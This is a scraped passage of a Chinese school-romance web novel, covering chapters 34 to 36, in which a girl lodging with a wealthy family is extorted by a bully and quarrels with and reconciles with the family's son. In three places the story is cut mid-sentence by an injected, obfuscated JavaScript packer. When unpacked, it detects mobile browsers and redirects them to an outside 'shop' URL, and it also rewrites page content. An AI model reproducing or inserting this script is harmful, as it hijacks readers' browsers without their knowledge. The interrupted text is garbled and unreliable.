“不行了不行了,我实在是坚持不住了大家伙儿,我得回去补个美容觉了。”程渡起身打了个哈欠,朝几人挥了挥手,转身离开,“拜拜各位,我先走一步!” “欸!我说你那张脸就没必要这么费心吧?你这个叛徒,说好的守岁呢?”看着人离开的背影,张滔朝他大喊道。 这种攻击显然不管用,程渡头都没转一下,边走边抬手对他比了个中指。 “这种人真是,一点信用也不讲。” 说完张滔咳嗽了几声,扭头讪讪对身边的人说:“内什么,许哥,其实我……” “滚。”许言琛眼皮都没掀一下,看都不用看就知道他憋的什么屁。 “好嘞!”收到指令,张滔起身抱拳,“没什么好说的,新的一年我祝我许哥福如东海,寿比南山。” “噗!” 听到这儿,姜绵终于憋不住笑出了声。 一直闭目养神的人也在此时睁开了眼睛,略带嫌弃地看了他一眼,“你这是过年,还是给我过寿?” 张滔尴尬的挠了挠头,憨笑道:“我语文水平不行,反正差不多是这个意思嘛,没事儿那我就先走了。” “拜拜!” “拜拜拜拜!”张滔看了眼乖巧挥手的女孩儿回应道。 他就不明白了,怎么兄妹二人之间的性格会差这么多。 “新年快乐啊妹妹。” 又收到一个祝福,姜绵笑着回他:“同乐!” 许言琛眉峰轻动,冷冷出声打断:“衣服,记得洗了还我。” “你又不差这一件,送我得了,不过该说不说,许哥你这衣服还怪香的。” 说恶心话是要付出代价的,在脚还没踹到自己身上时,张滔转身就跑,对着已经走远的身影大喊:“浏览器!等等我!” “变态。”许言琛嗤笑低骂。 明知骂的不是自己,姜绵低下头,莫名感觉有点心虚,没想到自己有一天也是跟变态划上了等号。 忽然想到什么似的,一旁坐着的许言琛突然转过头看着她。 “香?”这个字在他嘴里滚了一遍,变了个味道,“你刚刚,也是这个意思?” “哎呀!”姜绵起身装傻,随便扯了个理由拔腿就逃,“这时间确实是不早了,我怎么感觉也有点困了。” 演技拙劣得让人看不下去。 他原先不知身边竟然还藏着个“小变态”,许言琛失笑,拍腿跟了上去。 来的时候走得慢,这里到许家的路线姜绵都记得差不多了,一路上许言琛就跟在她身后不近不远处走着。 一直到门口,姜绵回头看着倚靠着路灯,丝毫没有上前意思的人,疑惑开口问道:“你,不进来吗?” 许言琛朝她扬了扬下巴,“你先进。” 姜绵不懂,但还是缓缓点了点头,在门快关上的那一刻又拉开了一点缝隙,看着他带了点扭捏:“衣服,我会洗干净还给你的。” “还有,谢谢你。” 没给人反应的机会,说完她就迅速关上了门。 路灯下,许言琛看着紧闭的大门失了神,良久,他才顶腮笑出声。 行,起码这个“小变态”还算有良心。 打开入户门,玄关处赫然摆放着一双男士皮鞋和女士高跟鞋,姜绵放轻了动作,蹑手蹑脚地小步走回房间。 简单洗漱后,她躺在床上,开始专注听着门外的动静。 不知道过了多久,久到她都快眯眼睡着,终于有脚步声越来越清晰地响起,直到最后被一道关门声隔绝。 这样总算是放心了些,姜绵翻了个身,看了眼挂在衣架子上的黑色羽绒服,心满意足地闭上了眼,进入梦乡。 这晚破天荒做了个梦,梦里的她没有去看那场烟花,在万家灯火的日子里,她蜗居在黑暗中,任由自己无尽下坠。 春节这天,许言琛不在家。 姜绵一边给人拜年,一边时不时看向二楼。 许国安给了她一个很厚的大红包,她摆手拒绝却还是被硬塞到了手里。 许家不缺这点钱,姜绵知道,给她不是因为真的把她当成家里人,图个彩头是他们的乐趣。 在今天这个特殊日子里,她也没再推脱扫兴,收下后手攥得很紧。 吃午饭时,许言琛还是不在。 “哥哥呢?”看家里其他人没有丝毫要提起他的意思,姜绵终于忍不住开了口。 “他一大早就出去了,不用管他,我们吃。” 一顿饭吃得食之无味,饭后姜绵兴致缺缺地回了房间,一下午都没再出来,她从前觉得最冷淡的人,竟是这个家里最有人情味的。 她越来越好奇,许言琛究竟做了什么,为什么感觉许家的人都不怎么关心他,特别是孟阿姨,姜绵在她眼里看不到半分感情。 那晚的烟花就像是一场梦,来得那样不真切。 许言琛又回到了一开始的状态,每天早出晚归,总是见不到他人的身影,像是在故意避着谁。 直到开学的那一天。 姜绵早早就起床开始收拾,突然要到一个未知的新环境,她还是有点紧张的。 她在小镇上学时,时常听老师提起锦一中,能在里面上学的都是百里挑一的学生,每年的升学率都是排名市里第一。 她有些害怕自己会跟不上那里学习节奏。 收拾好下楼,姜绵碰见了正准备出门的许国安。 “那个小姜啊,今天叔叔公司里有点事,不能带着你去学校了,你知道地方吧,就坐门口不远的那班公交就能直达,我让老师到校门口接你,你跟着老师走就行。” “知道了,谢谢许叔叔。” 她已经在放假的时候摸清了去学校的路线,别说是公交了,走路去也是不在话下,毕竟这里离锦一中也没多远,半小时左右就能到。 抬手看了下时间,反正也还早,干脆步行算了。 二楼还是迟迟没有任何动静,姜绵只瞥了一眼,便背上书包出了门。 她不知道的是,自己才离开,二楼的门骤然被人从里面打开。 * 新学期的开学日,难得在早晨看见阳光。 路上都是些青春洋溢的学生,一张张单纯的脸上满是笑容,挽着手讲述假期里的趣事。 “叮铃~” “许哥!” 清脆的铃声让路边的行人纷纷避让开,下意识回头看了一眼噪声的来源。 一个急刹,程渡稳稳把车停在了正在等红绿灯的人身边,无视掉那些不满的视线,满怀期待地看向他。 “许哥,东西没忘了给我带来吧?” 少年单条长腿撑地,微微俯身靠着把手,慢条斯理地撕开糖纸,将糖果扔进嘴里,甜味瞬间蔓延到整个口腔。 “忘了,你自己想办法跟老师解释吧。” “不是,真的假的?许哥你别逗我啊。”程渡慌得差点从自行车上跳下来,交不上作业老周肯定又要告到他爸那儿去。 红灯倒计时结束,许言琛收了腿,起步将自行车蹬得飞快,任由风吹乱自己的头发,笑得肆意而又张扬。 “最后到的包午饭!” 程渡赶忙追了上去,“等会儿我许哥,这回不算!” 追逐的身影在城市中划出一道风景线,引得四周的学生纷纷侧目,议论四起。 “欸!那是三班的许言琛吧?” “没错没错,就是他!我之前去他们班值日时见过,真的好帅!” “见过本人,比校园墙上的照片还要耀眼,可惜了,听说他成绩不是很好。” “啊,不是吧?那他是怎么进的我们学校啊?” “家里有钱呗,你看看跟在他身边那些人,哪个不是给学校捐了一大笔钱才进来的。” “但是真的好帅。” “我劝你别动歪心思,他们那一堆人没一个好惹的,富家公子嘛,只可远观不可亵玩。” 才从超市出来,手上的面包还没来得及撕开,姜绵便听到身后窸窸窣窣的讨论声,正想回头看看发生了什么,却被身旁忽起的一阵疾风凌乱了碎发。 她抬眸向骑出没多远的始作俑者看去,正好对上了少年回头望的目光。 姜绵呼吸一滞。 是他。 少年所到之处皆引起一小阵惊呼,不似在家中那般黯淡,在校园里他是最亮眼的那一个。 这也是姜绵见过的,他最富有生机的一面。 “叮铃铃铃铃……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12820272|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一股淡淡的柑橘味,跟他身上的味道一样。 许言琛的房间和她想象中的男生房间不一样。 就连书架上的书都被罗列得整整齐齐,底下的书桌上还高高摞起一堆,她扫了一眼觉得有些像教材辅导,有些好奇但遏制住了上前的冲动。 毕竟是别人的隐私,何况他不喜欢别人随便进来,更别提乱碰他的东西,她已经进来得够久了,再到处乱看就不礼貌了。 刚打算抬脚离开,眼睛一转,姜绵视线落在书桌角落处顿住。 没有其他的原因,而是因为那里正放着一只栩栩如生的黏土小猫,她控制不住凑近了些。 低下头看得更清楚,黏土小猫通体雪白,毛发有些长,耳朵耸立,眼睛瞪大眼珠周围一圈淡绿,就像是一个骄傲的小公主。 没看错的话这捏的应该是一只安吉拉,工艺跟他之前送自己的那只黏土橘猫一模一样。 之前没听他提起养过猫,姜绵下意识认为是他上次在小摊上顺手买的,在心底默默夸了句眼光好后,退出房间关上了门。 雨在这天下了个痛快,没阻拦后面的放晴。 周一到学校的时候,桌子上摆好了新校服。 不过比这更吸引人的,是后排那抹白色的身影,刚进来的时候,姜绵差点以为自己走错了教室。 她惊讶许言琛来这么早竟然没趴着睡觉,而是转着手里的笔不知道在思考什么,走近一看她差点惊掉下巴。 桌上赫然摆放着一本练习册,那页的题已经做了一大半,此刻正在纠缠着最后一道填空题。 他这是要金盆洗手了? “我去!学校这审美绝了,衬衫长裙我没意见,这少女粉是怎么回事儿?” 早自习还没开始,陈思彤大着嗓门吐槽,拿起粉色衬衫比在胸前,转身看向后排靠窗发愣的人。 “姜宝,你觉得我穿这颜色好看吗?” “啊?” 许言琛停了手里的笔,侧头看向她,似乎也想知道她的答案。 姜绵认真打量了她一番,笑着点头:“你穿粉色好看,很适合你。” 啪嗒一声,有笔落在桌面。 陈思彤高兴极了,捋了捋自己的头发,故作矜持:“真的吗?从现在开始我要当一个淑女!” 姜绵往前挪了挪凳子,跟着她一起高兴,身边却传来一道不轻不重的哼笑。 像是无语至极。 她还没来得及皱眉,先是两道丢书包的声音,而后响起张滔匪夷所思的询问:“卧槽!许哥我差点没认出来你,这不是上次艺术节的奖品吗?你不是嫌它丑怎么今天还穿上了?” 艺术节的奖品? 姜绵转头看向他们,有些疑惑。 程渡跟她对视一眼,一挑眉,把那些陈年旧事全都抖擞了出来:“许哥不用上台直接就拿下了最佳人气奖,屌炸天!” 一想到当时他顶着猪肝色的脸上台,被迫领了这个卫衣奖,周围人默契笑作一团。 只留下姜绵迷茫眨着双眼,傻乎乎问:“这是怎么了?” 许言琛闭眼咬牙冷笑了声,他就不该穿这件破衣服,害他翻衣柜都翻了好久。 白色对他而言,真不是那么必需。 34. 掉马 也许是因为自己的衣品受到众人的怀疑,许言琛这一天的心情似乎不太晴朗。 在数不清多少次烦躁按笔和不耐烦的啧声后,姜绵顶着一张深受其扰的脸,终于忍不住好声安慰起他。 “其实吧,我觉得这件衣服挺好看的。” 可这句话好像没起到什么作用,他冷冷看过来:“只是这样?前几天你可不是这样说的。” 啊?前几天?她说了什么? 记忆开始倒带,画面停在某一帧后,她不确定地开口:“你穿白色很好看?” 得,现在变疑问句了。 一阵沉默后,见她没有要再安抚的意思,许言琛冷哼一声,语气全然是不满:“你是不是对谁都这样说?” 怎么说得她跟个渣女似的? 不知道他是从哪儿得出这个结论的,姜绵一脸无辜,“没有啊。” “可你刚刚也这样夸了别人。” 别人?她今天好像就这样夸了一下思彤。 可他没必要跟思彤争这些吧,明明他们都是自己最好的朋友。 讲台上,周毅拿着书讲题正讲得慷慨激昂,时不时拿粉笔在黑板上板书,她谨慎瞥了一眼,拿书挡住自己的下半张脸,欲言又止好久才挤出一个字:“我……” “上课时间,同学们还是要集中注意力,认真听讲。” 台上周毅推了推眼镜,语气似警告,视线却一直落在手中的书上,也不知道是在点谁。 不过这样一来,班上心虚的人瞬间都打起了精神,姜绵作为其中最心虚的一员,毫不意外收起了自己的动作,工工整整坐在了座位上,眼神都不敢乱瞟一下。 用不了一会儿,讲题声继续,姜绵挺直背边听边点头,手里捏着笔不知道在本子上记些什么,许言琛看了眼她认真的样儿,无声扬起唇角,刚想别过头不再打扰她,余光里一个本子被缓缓推了过来。 他侧过脸低眸,泛白的纸页上是隽秀的字迹—— 下课了再说。 确定他看见了,几秒后本子被歘的一下撤回,压在她手腕下。 一连串的动作以迅雷不及掩耳之势开始又结束,偏偏之后她又装得跟个没事儿人一样,许言琛觉得好笑。 她这个人做事,还真是讲究有头有尾。 不出意外,这节课又被拖堂了,超了将近五分钟周毅才不慌不忙拿起教材工具走出教室。 “老周什么时候才能按时下次课!留给我的时间又不多了,姜宝,走!”在一片埋怨声中,陈思彤起身朝后排的人使了个眼色。 这是她们两人心知肚明的暗语,每次只要她这样一说,姜绵都会立刻起身,可这一次,直起身到一半,身侧传来一道有意无意的咳嗽声,她又讪讪坐了回去。 差点忘记上课时写下的承诺,如果陪思彤去了厕所,回来肯定没有时间再探讨其它的事。 “怎么了姜宝?”见她停下来不动,陈思彤问。 一边是陈思彤疑惑的眼神,一边又是许言琛面无表情的提醒,姜绵咽了咽口水,左右打量后难以抉择,才发觉自己好像真的有点像渣女。 看来只能辜负一个人了。 “姜绵!外面有人找!” 突然,有人站在教室门口朝里面喊了一句,这道声音就像是一道及时雨,让她从火坑里成功脱身。 “好!马上!” 姜绵如释重负般起身,笑着看他们,指了指外面,“不好意思,突发情况。” “噢,没事,那你快去吧。” 陈思彤善解人意,她倍感欣慰,忽略另一张比锅底还黑的脸,她抬脚从容不迫往外走。 既然这样的话,那她只能两个都辜负了。 只是在看见走廊外站着的人的时候,姜绵有些意外,却也在情理之中。 她迎上前:“祝学长,你找我吗?” 走廊扶手边,祝煜看见她立马扬起笑容,“对,你之前不是说自己没来得及写完政治的笔记吗,正好我这里有一份,之前期末做的汇总,应该对你有帮助。” 之前只是随口提了一句,没想到他会记在心里,姜绵看着他递过来的笔记本,有些不好意思:“学长你辛苦写的笔记,我就这样拿来直接用,会不会太占便宜了?” “这有什么,好东西都是要共享的。”祝煜笑了笑,把笔记本塞到她手里,话锋一转,“不仅如此,你以后要是选文科的话,我所有资料都可以免费分享给你。” 东西已经到了手里,她也没再推脱,知道祝煜学的纯文,笔记这些东西肯定写得很详细,她格外珍惜,视若珍宝般抱进怀里,眉眼弯弯:“谢谢祝学长。” “至于学文科还是理科,我暂时还没想好。” 不过分科这件事应该也快了,经他这样一提醒,姜绵觉得有必要找个时间好好考虑一下。 “没事,分科毕竟关乎未来,是得谨慎点选择,不过我还是很期待你加入我们文科的大部队。” 姜绵笑了笑,没说话。 “对了,我有个事想问问你。”短暂安静后,祝煜开口。 姜绵抬眉看他,只见他拿出手机,指了指某个帖子的用户ID,“这个是你吧?” 她凑近定睛一看,正是那天晚上大战了一百回合的战斗贴,心跳立马暂停了一拍。 不是吧?这就掉马了?很明显吗? 她明明还刻意改了语调。 也许是看出她表情的含义,祝煜笑着跟她解释:“一开始其实没认出来,不过,这个用户名实在太熟悉了,你战斗力很强。” 他憋不住笑出声,姜绵却有些挫败,她还以为自己隐藏得很好。 “放心吧,我不会说出去的。” 叹了口气,她问:“很明显吗?” “也不是。”祝煜摇头又点头,“不过有你社交账号的应该容易看出来。” “……” 上课铃响之前,姜绵进了教室。 在心里不断咀嚼祝煜的那句话。 有她社交账号的很容易看出来,可到了现在好像也只有他一个人看破了,其他人一点儿反应也没有。 思彤是个藏不住事儿的人,她要是没说就证明她是真的不知道。 至于其他的人……没有反应应该就是最好的反应了吧? 怀揣心事回了座位,陈思彤上厕所还没回来,也用不着再二选一了,趁还有些时间,她想把事说清楚。 奈何还没等她开口,原本在一旁奋笔疾书的人不装了,丢下笔,语调阴冷:“让我猜猜是谁找你。” 许言琛冷不丁笑了声,姜绵蹙眉,扭过头看见他死死看着自己,几乎是咬牙切齿:“祝煜。” 他冷冷扫了眼还被她抱在怀里的破本子,抬眸眼里寒光一闪而过:“对吗?” 她就是出去跟祝学长说了几句话,被他这样一搞,怎么像做了什么见不得人的事儿一样? 不过兴许是知道他跟祝煜不对付,姜绵也能理解,难得好脾气跟他解释:“对啊,不过他就是来给我送……” “闭嘴。” 即使他说这句话的时候压低了声音,不算是吼她,姜绵还是被这突如其来,不算友好的两个字堵得愣了一下。 他不能因为这个事儿就生气了吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12857411|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 难道是因为他觉得她敷衍夸他衣服好看的事儿? 想了想,也有这个可能,毕竟这件事儿确实是她的问题,说好下课跟他解释清楚,自己却跑了。 深吸了一口气,她侧过身看着低头面色阴沉的人,道歉语气诚恳:“如果是因为衣服的事,我跟你道……” “歉”字还没说出口,刚刚还坐着一动不动的人,突然抬手捂住了耳朵,俨然一副油盐不进的样子。 他皱眉:“我现在不想听你说话。” “?” 幼稚! 姜绵被眼前的人气笑了,愤愤挪了挪椅子,紧贴墙面。不听就不听,她还不想讲了呢! 摊开手里的笔记本一目十行,她撇了撇嘴,还是学习香,起码知识不会让她闭嘴! 说冷战就冷战,两人都倔得跟块儿硬石头一样,直到放学都没有再说过一句话。 “姜宝,我先走啦,你自己注意安全。” “好!”她一边收拾书包一边跟陈思彤挥手道别。 “那啥,姜绵,我们也先走了,拜拜。” 她背起书包,抬眼看向一旁的三个男生,微笑挥手:“拜拜张滔,明天见!拜拜程渡,明天见!……” 视线在这里紧急打转收回,就连笑容都一并收回。 一旁被忽视的许言琛冷哼了一声,转身头也不回大步离开。 夹在中间的程渡和张滔前后张望,面面相觑摊手耸肩——这又是怎么了? “许哥,等等我们俩啊!” 看着走廊外愈走愈远的那抹白色身影,姜绵咬牙捏紧拳,到最后也只是轻轻踢了踢他的桌脚。 夜幕黑沉,学校里的路灯细微闪烁。 姜绵握着书包带,跟在三两结伴的人后边出了学校。 放学已经有一会儿了,她们那栋教学楼离校门口最远,以至于出来时已经不剩多少人了,只有少数几个家长还在校门口等待。 她扫了一眼,低着头往不远处的公交站走。 公交站灯牌亮着灯光,那里还站着一个跟她一样的女学生,姜绵弯了弯唇,今天好像没有那么孤单。 站在路边,公交车迟迟没来,她百无聊赖刷起手机。 一动不动,一条信息也没有。 也不知道在期待什么,叹了口气,她放下手机盯着大街放空。 直到身旁响起几道不耐烦的声音,以及女生害怕的低呼声, “走开走开!边儿上去!” 她扭头,三个看起来流里流气的男生已经走到面前,看着她笑得猥琐:“去哪儿啊妞儿?” 姜绵害怕的往后退了退,抿唇不说话。 三人笑得更起劲,上前围住她:“欸!别走啊,有人发了话想见你呢,你走了我们怎么交差?” 从小到大没见过这种阵仗,她颤抖着忍住哭意:“我不认识你们,你们再这样我就喊人了!” “没关系啊。” 有人上前抓住她的胳膊,姜绵抬手想打他却被反钳制住,那人舔唇低声,“你不认识我们,总认识他吧?” 在她快开口呼救时,那人俯身在她耳边说了几个字,在她凝固的表情中笑得张狂。 “不找你,找他也行,毕竟我们对他的仇恨可比对你的多得多。” 在他们不怀好意的笑声中,姜绵逐渐放弃了挣扎。 这是在学校外面,他们不敢做太过分的事,如果他们去找他的话,指不定会发生什么难以收场的事。 闭了闭眼,她颤抖着声线:“我跟你们走。” 能替他挡一挡,也是好的。 35. 得失 听见这句话,那人慢慢松了攥紧她胳膊的手,满意她的识相,时不时有经过的人朝这边张望,他凶神恶煞用眼神警告,不耐烦催促起来: “那就跟我们走一趟吧。” 几个男生身上的烟味呛人鼻腔,姜绵微微蹙眉,屏住呼吸跟在他们身后慢吞吞走。 察觉到她刻意放缓了速度,其中一个黄毛拉住她的衣服领子往前拽,“走这么慢干什么啊,别怪哥哥们没提醒你,想逃跑就要做好再次被我们找到的觉悟!” 猝不及防的拉拽让她脚下一个趔趄,重心不稳往前扑,直到被他又往后拉了拉才勉强稳住重心。 “我不会跑的。”脖子被勒得疼,姜绵有些生气,奈何她一个人处于劣势,再气愤也不能反抗。 几个混混不屑的“嘁”了声,依旧紧紧跟在她身后。 路上静悄悄,街边的小吃摊陆陆续续开始收摊,姜绵悄悄按开握紧的手机,视线慢慢往下睨,依旧是空荡荡的信息界面,想了想最后还是打开了拨号功能,颤颤巍巍敲下报警号码。 发觉她的小动作,身后人慢慢凑近,姜绵眼疾手快把手机塞进外套袖子里,转移起注意力:“你们就这样让我走,不说去哪儿吗?” 沿着街马上就要走到尽头,迟迟不见他们喊停。 上前的混混扒开她的胳膊看了看,确定没什么东西后,指了指十字路口对面那家亮着乱七八糟颜色灯的网吧,低下头看她:“就那儿,马上就到了,别耍小花招。” 说完他就站定在她身侧,一路上时时观察着她的一举一动,姜绵被盯得死死的,放着手机的那只手一动不敢动,情急之下开始打探起消息:“是谁让你们来找我的?” 似乎是嫌她话多,那人不耐烦看了一眼:“到了不就知道了。” “那他找我是干什么?” “到了就知道了。” “那你们是怎么确定我就是他要找的那个人,你们是不是监视我很久了?” “……” 几人从来没见过问题这么多的人,一路被追问烦得要命,干脆加快步伐拖着她往网吧里进。 深夜的网吧里都是些周边不务正业的小混混,边敲键盘打游戏边说些不入流的脏话,烟味和泡面味混合在一起,味道直冲天灵盖。 姜绵扎着马尾背着书包,俨然一副乖乖女的模样和这里格格不入,很快吸引了一片人的注意力。 一群人视线紧紧跟随着她,有人吹了个流氓哨,恶心黏腻的笑声此起彼伏。 胃液开始翻腾,姜绵捂住嘴有些想吐。 身旁的人完全不顾她的死活,拉着她往里面走,直到最后停在一排空荡的位置上,把她往里推了推,朝靠内正在专心打游戏的男生说:“刘强,人我们带到了,别忘了报酬。” “知道了。” 叫刘强的男生停下手里的动作,坐在椅子上转了个方向,看向面前脸色苍白的女生,笑得毛骨悚然:“马上就少不了你们的。” 这股阴森森的气息让姜绵觉得似曾相识,可大脑一时短路,怎么想也想不起到底在哪儿见过他,顶着他不怀好意的视线,她缩着肩膀断断续续开口:“我跟、跟本不认识你,你为什么要找、找我。” 刘强往后靠了靠,把腿搭在旁边的椅子上,歪着头笑,眼里却没有半分笑意:“你认不认识我不重要,重要的是,我们两个有一个共同认识的人。” 回忆起黄毛混混在她耳边说的那个名字,姜绵没吱声。 可刘强好像想到了什么很不堪的事儿,面目狰狞情绪开始变得激动,拿起桌上空了的泡面桶丢在她脚边,“如果不是他,我现在怎么会成现在这个样子!” 她下意识往旁边躲了躲,这才避免裤脚沾上上面残留的东西。可她还是不明白,到底发生了什么能让他这样心生怨恨,以至于辗转找到她。 想到什么后,他逐渐平复情绪,抬眼看向面前的人,森然开口:“我知道,你不仅住他家,而且跟他关系还不错,那么,他欠我的,就由你来偿还吧。” 事情说到现在,姜绵反而平静了下来,一双眼眸里面没有泛起一丝波澜,淡淡问:“他欠了你什么?” “钱,很多钱。” 她皱眉,许言琛不差钱,怎么会欠别人钱? “他是不缺。”看透她的想法,刘强阴笑着拍了拍自己,咬牙切齿,“可是我缺啊,我明明给了那两个畜牲的治疗费,换了所学校,可他还是不肯放过我,把事情闹得全校皆知,现在我走到哪儿他们都拿异样的眼光看我,就连家人也觉得我是个怪胎,我流落至此许言琛一定很得意吧?” 桩桩件件的描述让姜绵难以回过神,记忆里的背影和面前颓废的人重叠,她总算是知道为什么自己会觉得他眼熟了,原来他就是在学校里虐猫的那个人。 可她只知道他最后转校了,没想到后面还发生了这么多的事,更没想到许言琛会把这件事传到外校。 不过这都是他应得的,在他对动物下手的时候就应该知道,自己的下场不会好到哪儿去。 这些话姜绵只敢在心里暗暗想,面前的男生已经有些癫狂,再惹怒他指不定会做出什么过激的事情。 “你要多少。” 刘强惊讶她的爽快,假意思索一会儿后,不紧不慢伸手比了个数。 姜绵皱眉:“三百?” “你把老子当要饭的?三千!” 三千? 还真是敢狮子大开口,姜绵在心里翻了个白眼,她是什么很好敲诈的人吗? “没有。” 他像是听见什么很好笑的事,“许家那么有钱,你跟我说你没有?你他妈骗谁呢?” 奇怪的逻辑,姜绵眉头越皱越紧:“你调查这么久,难道不知道我只是借住在许家吗?我不姓许,许家有钱跟我没关系。” 没想到一个看起来柔柔弱弱的女生敢这样跟自己讲话,刘强被拂了面子,急躁地站起身:“那你现在有多少给我多少!”他都好几天没吃上一顿饱饭了。 她害怕的往后退了退,在男生的威逼中摸向身后的书包,刘强不耐烦上前抢过,拉开拉链倒出里面的东西。 随着一个小巧钱包的掉落,他的眼睛瞬间亮了起来,迫不及待扒开取出里面所有的纸币,一张张数起来。 钱包里面的钱够她一个月的零用钱,此刻通通被人抢走,姜绵再不情愿也无能为力,只能捡起散落在地上的书 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12889840|131574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,重新放进书包里。 “就这么点儿?”刘强散开纸币拍了拍,把空了的钱包丢了回去。 她垂眸捡起桌上的钱包,“我所有的钱都在这儿了。” “你跟他还真是没法比,一股子穷酸味,也不知道许言琛到底看上你哪儿点了,竟然会跟你这样的人做朋友。” 她低头一言不发听着他的挖苦讽刺,默默拉好书包背上,面上风轻云淡仿佛什么也没发生,“我可以走了吧。” 她转身欲离开,突然被叫住。 “等等!”刘强绕到她面前,伸手勾起她脖间的东西,语调上扬,“这是什么?” 姜绵神色慌乱,捂住东西不让他拿,摇头往后退,“这个不值钱的,这个你不能拿!” 其他东西她都可以不要,就这个不行。 “值不值钱老子说了算!” 他拉住绳子用力往下拽了拽,即使感觉到疼痛姜绵还是没有松手,任由他拼命扯。 一个娘们儿力气这么大,刘强不耐烦威胁伸手指着她:“二选一,要么我带人去找许言琛,要么你把东西给我!” 她仍旧没有松手。 “原来他在你心里也不过如此,我听说之前为了你,他连参加比赛的人都敢打,到现在你却因为一个不值钱的玉坠就放弃了他,真是可笑!”刘强冷嘲热讽。 姜绵被他说得一愣。 对啊,他之前那样帮自己,自己却为了个不值钱的坠子就陷入两难。 可是这个观音玉佩是妈妈离开前亲手给她的,意义非凡,要真是个不值钱的装饰品就好了。 她讷讷:“拿了这个你就不会再去找他麻烦了吗?” “当然。” 趁她这时候松了劲,刘强用力一拽,观音玉佩顺势落入他手里,上面泛着白泽的光让他满脸兴奋,翻来覆去摩挲着。 “东西拿了,答应你的事儿一定做到,你可以走了。” 脖间变得空落落,连带着她的心也空了起来,姜绵僵硬着,跟失了魂儿一样,举步维艰踏出网吧。 出了网吧,周围仿佛都安静了下来,她不平整的呼吸声在这一刻格外清晰,像带了刺般往她心里直直扎去。 她抬脚往前,一步,两步,三步,直到呼啸过耳边的风声盖过她抑制不住,想要啜泣的声音。 最后一班公交车早已行驶而过,整个大街只有她向前奔跑的脚步声。 看热闹的人走了,害怕躲开的人也早就上车不在了,这一个晚上,她不知道自己失去了什么,亦或是她在这天又得到了什么。 整个世界破天荒,好像只剩她一个人,所以她驻足在荒无人烟、寸草不生的世界里,一遍又一遍聆听自己那颗不安跳动的心。 然而这只是她以为的。 在她跑累了,抬头,忽然那一刻,她看见对面晦暗不清的身影,才偶然发觉,原来这世界也不止她一个人。 在世界陷入沉寂之时,那么心跳就是活着的证明。 看见那个身影慢慢朝自己走来,心擂如鼓的瞬间,姜绵才发现,她有多用力的在活着。 酸涩从心脏蔓延到眼眶,她丢掉什么,得到什么,或许早已经就有了答案。 36. 疼吗 站牌旁站着的人显然是看见了她,视线交汇,怔愣片刻,他插兜一步步朝对面走来。 绿灯闪烁,姜绵在踌躇后,低下头朝斑马线对面走,然后在他靠近后的无声注视中,选择对他视若无睹,与他擦肩而过。 或许是早有预料,许言琛只顿了一秒,而后转身追上她。 侧头看了眼一言不发往前走的人,少女脸上的表情被暗影遮去一大半,看不出好坏,他不自然的咳了声,将视线放回前面。 “好巧,出来透口气也能碰见。” 姜绵没理他。 看样子还在为今天的事斗气,他无可奈何叹了口气,上前拦住她:“真不打算理我了?” 姜绵这才慢悠悠抬眼看他,对他的反咬一口表示无语,带他回忆事情原委:“不是你说的不想听我讲话吗?” 他皱眉反驳:“是那时候不想,不代表现在不想。” 论变脸速度没人能比得过他,才历经一番折腾,姜绵身心俱疲,没精力跟他讨论太多,绕开他就往前走。 许言琛抿唇跟上她,低下声:“后来认真想了想,确实是我的问题,我太意气用事,不听你解释就……” “行了,你一直都这样吗?” 姜绵停下来看向身旁愣住的人,“道歉永远紧跟在犯错后面,你说你没什么后悔的事,所以你明知道那些话会影响到别人的情绪,但你还是说了。” 停了会儿,她盯着他的眼睛继续说:“你道歉也许并不是意识到自己错了,你只是享受别人三言两语就能被你给哄好。” 她自诩是一个很冷静的人,却一次又一次被他带跑情绪,在一些没那么重要的事情上失去自我。 所以一次次烦躁,一次次不安,一次次归根究底却始终找不到方向,她也有些疲累了。 空气陷入死亡般的寂静。 良久,看着面前低着头眼神逐渐黯淡的人,姜绵瞬间清醒过来,她好像因为自己的情绪迁怒了他。 “对不起,我……” “你说得对。”许言琛轻笑了声,缓缓抬头,“但又不那么对。” “我没有后悔的事,是因为我会在来得及的情况下尽力挽回,就像现在,我不希望因为这个误会而我们导致关系破裂,所以我要拼命解释。” “我说那些话并不是为了影响你的情绪,我只是想让你知道我的情绪。” “没人安慰过我,我也从来没有哄过别人,你是唯一一个。” 想到什么,他突然嗤笑一声,有些无力:“所以放学的时候我就在想,如果你跟我说话,哪怕是一个字,我都忍不住要回你一大段,可是你没有,你跟他们都说了道别的话,就我没有。” 他只是站在那儿静静地描述,姜绵的心却猛地一揪。 她从来不知道他有过这样的想法。 他说:“但是没关系,回来的路上我又想明白了,于是我给了自己一个自圆其说的办法,在这里制造了一场漏洞百出的偶遇,只为了证明我们两人之间用不着‘明天见’那一句话。” 不是她刻意忽略自己,只是因为属于他们两人的今天还没有结束。 